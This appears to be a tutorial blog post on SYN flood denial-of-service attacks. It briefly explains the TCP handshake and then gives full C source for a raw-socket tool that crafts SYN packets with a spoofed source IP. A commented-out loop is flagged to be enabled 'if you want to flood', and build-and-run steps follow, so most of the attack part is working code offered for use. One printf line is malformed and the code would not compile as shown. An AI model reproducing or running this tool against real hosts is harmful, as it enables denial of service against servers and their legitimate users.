SYN Flood DOS Attack with C Source Code

TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :

1. Client –SYN Packet–> Server
2. Server –SYN/ACK Packet –> Client
3. Client –ACK Packet –> Server

The above 3 steps are followed to establish a connection between source and destination.

SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server’s buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server’s resources are used the response to legitimate users is slowed down resulting in Denial of Service.

Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.

For more information on TCP Syn DOS attack read up rfc 4987 , titled “TCP SYN Flooding Attacks and Common Mitigations”
over here

Below is an example code in c :

Code

1/*
2    Syn Flood DOS with LINUX sockets
3*/
4#include<stdio.h>
5#include<string.h> //memset
6#include<sys/socket.h>
7#include<stdlib.h> //for exit(0);
8#include<errno.h> //For errno - the error number
9#include<netinet/tcp.h>   //Provides declarations for tcp header
10#include<netinet/ip.h>    //Provides declarations for ip header
11 
12struct pseudo_header    //needed for checksum calculation
13{
14    unsigned int source_address;
15    unsigned int dest_address;
16    unsigned char placeholder;
17    unsigned char protocol;
18    unsigned short tcp_length;
19     
20    struct tcphdr tcp;
21};
22 
23unsigned short csum(unsigned short *ptr,int nbytes) {
24    register long sum;
25    unsigned short oddbyte;
26    register short answer;
27 
28    sum=0;
29    while(nbytes>1) {
30        sum+=*ptr++;
31        nbytes-=2;
32    }
33    if(nbytes==1) {
34        oddbyte=0;
35        *((u_char*)&oddbyte)=*(u_char*)ptr;
36        sum+=oddbyte;
37    }
38 
39    sum = (sum>>16)+(sum & 0xffff);
40    sum = sum + (sum>>16);
41    answer=(short)~sum;
42     
43    return(answer);
44}
45 
46int main (void)
47{
48    //Create a raw socket
49    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
50    //Datagram to represent the packet
51    char datagram[4096] , source_ip[32];
52    //IP header
53    struct iphdr *iph = (struct iphdr *) datagram;
54    //TCP header
55    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
56    struct sockaddr_in sin;
57    struct pseudo_header psh;
58     
59    strcpy(source_ip , "192.168.1.2");
60   
61    sin.sin_family = AF_INET;
62    sin.sin_port = htons(80);
63    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
64     
65    memset (datagram, 0, 4096); /* zero out the buffer */
66     
67    //Fill in the IP Header
68    iph->ihl = 5;
69    iph->version = 4;
70    iph->tos = 0;
71    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
72    iph->id = htonl (54321); //Id of this packet
73    iph->frag_off = 0;
74    iph->ttl = 255;
75    iph->protocol = IPPROTO_TCP;
76    iph->check = 0;      //Set to 0 before calculating checksum
77    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
78    iph->daddr = sin.sin_addr.s_addr;
79     
80    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
81     
82    //TCP Header
83    tcph->source = htons (1234);
84    tcph->dest = htons (80);
85    tcph->seq = 0;
86    tcph->ack_seq = 0;
87    tcph->doff = 5;      /* first and only tcp segment */
88    tcph->fin=0;
89    tcph->syn=1;
90    tcph->rst=0;
91    tcph->psh=0;
92    tcph->ack=0;
93    tcph->urg=0;
94    tcph->window = htons (5840); /* maximum allowed window size */
95    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
96                should fill in the correct checksum during transmission */
97    tcph->urg_ptr = 0;
98    //Now the IP checksum
99     
100    psh.source_address = inet_addr( source_ip );
101    psh.dest_address = sin.sin_addr.s_addr;
102    psh.placeholder = 0;
103    psh.protocol = IPPROTO_TCP;
104    psh.tcp_length = htons(20);
105     
106    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
107     
108    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
109     
110    //IP_HDRINCL to tell the kernel that headers are included in the packet
111    int one = 1;
112    const int *val = &one;
113    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
114    {
115        printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" errnostrerror(errno));
116        exit(0);
117    }
118     
119    //Uncommend the loop if you want to flood :)
120    //while (1)
121    //{
122        //Send the packet
123        if (sendto (s,      /* our socket */
124                    datagram,   /* the buffer containing headers and data */
125                    iph->tot_len,    /* total length of our datagram */
126                    0,      /* routing flags, normally always 0 */
127                    (struct sockaddr *) &sin,   /* socket addr, just like in */
128                    sizeof (sin)) < 0)       /* a normal send() */
129        {
130            printf ("error\n");
131        }
132        //Data send successfully
133        else
134        {
135            printf ("Packet Send \n");
136        }
137    //}
138     
139    return 0;
140}

Compile and Run

On Ubuntu

1$ gcc synflood.c
2sudo ./a.out
3Packet Send

Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.

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